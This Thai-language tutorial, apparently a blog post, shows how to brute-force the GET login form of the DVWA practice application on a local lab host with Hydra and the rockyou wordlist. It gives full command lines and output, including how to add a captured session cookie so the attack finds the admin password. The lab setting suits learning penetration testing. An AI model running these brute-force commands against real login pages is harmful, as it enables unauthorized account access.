บทนำ (overview)
จากบทความที่แล้ว (How to guess the passwords from Log-in page – hydra (Post method)) ได้กล่าวการเดารหัสผ่านโดยใช้โปรแกรม “Hydra” ผ่าน “Post Method” ของหน้า “login” ในบทความจะเปลี่ยนเป็น “Get method” ซึ่ง “parameter” จะส่งผ่าน “URL” และผู้ใช้งานจะสามารถมองเห็นได้บน “Web browser”
ขั้นตอน (Steps)
- จากบทความ
- เมื่อ “Login” เข้าไปให้ไปที่เมนู “Brute Force” และทดสอบใส่รหัสผ่านที่ไม่ถูกต้อง
- จากภาพข้างต้นพบว่ามี 2 สิ่งที่เปลี่ยนไป จากบทความก่อน
- ข้อความ “username” และ “password” ไม่ถูกต้องเปลี่ยนไป
- และ “parameter” อยู่ “URL”
- ทดลองใช้คำสั่ง “Hydra” โดยเปลี่ยนแปลงดังนี้
- เปลี่ยนจาก “http-post-form” เป็น “http-get-form”
- เปลี่ยนจาก “Login failed” เป็น “password incorrect”
-
root@kali:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt http-get-form:"//192.168.0.16/DVWA-1.0.8/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:password incorrect:" Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2015-07-19 08:49:41 [DATA] 16 tasks, 1 server, 14344399 login tries (l:1/p:14344399), ~896524 tries per task [DATA] attacking service http-get-form on port 80 [80][www-form] host: 192.168.0.16 login: admin password: 12345 [80][www-form] host: 192.168.0.16 login: admin password: 123456 [80][www-form] host: 192.168.0.16 login: admin password: 123456789 [80][www-form] host: 192.168.0.16 login: admin password: password [80][www-form] host: 192.168.0.16 login: admin password: iloveyou [80][www-form] host: 192.168.0.16 login: admin password: rockyou [80][www-form] host: 192.168.0.16 login: admin password: 1234567 [80][www-form] host: 192.168.0.16 login: admin password: abc123 [80][www-form] host: 192.168.0.16 login: admin password: 12345678 [80][www-form] host: 192.168.0.16 login: admin password: monkey [80][www-form] host: 192.168.0.16 login: admin password: princess [80][www-form] host: 192.168.0.16 login: admin password: nicole [80][www-form] host: 192.168.0.16 login: admin password: daniel 1 of 1 target successfully completed, 13 valid passwords found Hydra (http://www.thc.org/thc-hydra) finished at 2015-07-19 08:49:46
- จากผลลัพท์ข้างต้นพบว่า “username” ตัวเดียวแต่มี “password” เยอะแยะและลองทดสอบนำไป “Login” ก็ใช้งานไม่ได้ สาเหตุก็เพราะหน้า “Login” ที่อยู่ในเมนู “Brute force” นั้นอยู่หลัง “Login” หลักจึงต้องมีการแนบ “Session” ที่อยู่ใน “Cookie” ไปด้วย
- เราสามารถตรวจสอบได้โดยการใช้โปรแกรม “Burp” ดักจับข้อมูลภายหลังกดปุ่ม “Login” (สามารถติดตามวิธีตั้งค่า Burp เพื่อดักจับข้อมูลได้ที่ How to set burp to intercept HTTP messages)
- จากรูปจะเห็นว่ามี “Cookie Session” โผล่ขึ้นมา
- เราจะเพิ่ม Cookie เข้าไปใน คำสั่งของ Hydra โดยใช้คำสั่ง “H=” แล้วนำค่า cookie มาใส่ตามข้างล่างดังนี้
root@kali:~# hydra -l admin -P /usr/share/wordlists/rockyou.txt http-get-form:"//192.168.0.16/DVWA-1.0.8/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:password incorrect:H=Cookie:security=low; PHPSESSID=q36db9t8uop3vpi9fc0pcb0eo2" Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2015-07-19 09:22:45 [DATA] 16 tasks, 1 server, 14344399 login tries (l:1/p:14344399), ~896524 tries per task [DATA] attacking service http-get-form on port 80 [80][www-form] host: 192.168.0.16 login: admin password: password 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2015-07-19 09:22:50
- พบว่าโปรแกรม “Hydra” สามารถหารหัสผ่านของ “Login” ชื่อ “admin” ได้คือ “password”